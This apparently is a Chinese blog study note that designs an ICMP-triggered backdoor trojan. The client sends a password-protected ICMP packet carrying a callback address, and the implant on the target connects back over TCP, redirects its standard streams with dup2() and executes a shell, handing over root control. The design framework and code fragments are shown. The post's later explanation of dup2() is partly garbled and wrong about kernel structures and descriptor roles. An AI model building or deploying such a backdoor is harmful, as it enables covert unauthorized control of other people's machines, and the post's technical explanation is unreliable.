基于ICMP和TCP原理的附带后门木马的程序
基于ICMP和TCP原理的附带后门木马的程序
原理:
从原始套接字的原理我们知道,我们可用自定义某个协议,如ICMP协议,而ICMP协议的数据包又可以由我们自己定义,而且ICMP协议发送数据是以广播的特点实现的,不需要知道目的端口,就像ping程序一样,随意ping某个ip,该ip主机只要有ICMP的接收程序就会自动接收。所以我们可以在目的ip的ICMP接收程序里面注入一个可以自动连接并返回shell到我们设定的ip和port里面的程序,只要我们自定义一个ICMP协议数据包,该数据包带有连接**,需要返回的IP和端口,然后利用ICMP协议将ICMP数据包发送到目的主机,目的主机的程序只要运行着,那么就会接收到我们的ICMP数据包,接收到数据包后就会进行解包,验证**(ICMP是广播形式收发,**验证可以防止其他主机发送的ICMP数据包也回应),只要接受程序的**和我们发送的**一致,那么就会自动执行回应程序,回应程序的原理是利用TCP协议,根据接收到的IP和PORT,创建socket,并进行connect(),只要我们在指定的IP主机里监听指定的port,我们就可以接收到目的主机回应的shell(而且是root权限的),拥有shell我们就可以操控目的主机。
需要用到知识点
- 原始套接字
- ICMP协议及其通信方式
- TCPsocket编程
- dup2()函数、execl()函数。
程序设计框架
客户端:
- 1.建立ICMP原始套接字:
* 解析参数,设置原始套接字的协议及目的IP地址
- 2.设置ICMP数据包
* ICMP的类型
* ICMP的***(可不设置,因为只发一次)
* ICMP的校验和
* ICMP的数据域设置(关键)
- 3.ICMP数据包的发送
* sendto()
服务器端(要攻击的目的主机):
- 1.建立ICMP原始套接字
* fd = socket(AF_INET,SOCK_RAW,IPPORT_ICMP);- 2.ICMP数据包的接收
*recvfrom()- 3.ICMP数据包的解包
* 还原计算ICMP的长度,解析ICMP报文- 4.验证数据包数据
验证类型接收到的ICMP类型,以及数据域的**- 5.执行shell返回函数
* 建立TCPsocket,bd = socket();
* 设置socket的目的IP和port
* 执行connect()连接监听的端口
* 可以wirte()一些值
* 执行dup2():将当前主机的标准输入,标准输出,标准错误的
* dup2(bd,0);
* bup2(bd,1);
* dup2(bd,2);
* execl(“bin/sh”,NULL,NULL);
文件IO内核解析(关于Linux句柄的解析)
dup2(fd1,fd2)函数:
- 作用是将目的文件句柄fd2重定向到某个普通文件或socket句柄fd1.这就涉及到文件IO在内核的原理
、、、
//内核中存在这个结构体
_IO_file_plus
{
struct _IO_file; //一个结构体,包含着文件的属性,文件打开的方式等等
int *vitable; //虚函数指针指向一个虚函数表,该虚表里面存放着write、read、fflush等等的指针。
};
//内核中的句柄链表
struct _IO_file_plus io_file_all; //一个链表
//该链表用来管理所有的IO句柄,用改变表的表头来遍历所有的句柄,
//当我们创建一个IO句柄时,就会将它添加到这个链表里面。
0 IO_FILE_STDIN _IO_file_plus
1 IO_FILE_STDOUT _IO_file_plus
2 IO_FILE_STDERROR _IO_file_plus 0、1、2的虚表存在于glibc
3 IO_FILE_THREE _IO_file_plus 创建出来的,存在于堆里面,3为socket fd。
//每个句柄都代表着一个_IO_file_plus结构体,这些结构体都在链表里面
每个句柄都对应一个_IO_file_plus结构体,对应的结构体里面都存在着各自的虚表,各自的虚表存放着各自的write、read等,如果我们使用dup2()函数,那么我们就可以将对应句柄的结构体的虚函数指针指向到目的句柄的虚函数指针,dup2(fd,0)、dup2(fd,1)、dup2(fd,2)即将句柄0、1、2的虚函数指针指向fd的虚函数指针,那么当我们调用fd的时候,0在socket句柄里面代表着write(),
1在socket句柄里面代表read();当我们执行标准输入0的时候,一般会执行标准输入,但是我们现在将0重定向到了socket句柄了,那么执行0句柄就会往fd里面发送数据(write),执行1,就会执行read接收数据。所以我们执行标准输入标准输出就会执行socket fd的读取发送。
execl()函数:当我们fork()一个新的进程时,如果不指定新的进程执行什么程序,那么他就和原来的进程执行的东西一模一样,如果我们用execl()函数,那么就可以使新的进程执行我们执行的程序,例如:execl(SHELL,NULL,NULL),就是执行shell程序,而shell程序就会使用0、1、2. 因为当前的0、1、2以及重定向到了socket fd,当我们在shell执行标准输入0时,就会在fd上读,当我们在shell执行标准输出1时,就会往fd上写。
学习总结,如有异议,敬请评论~
上一篇: 《领导变革》读书笔记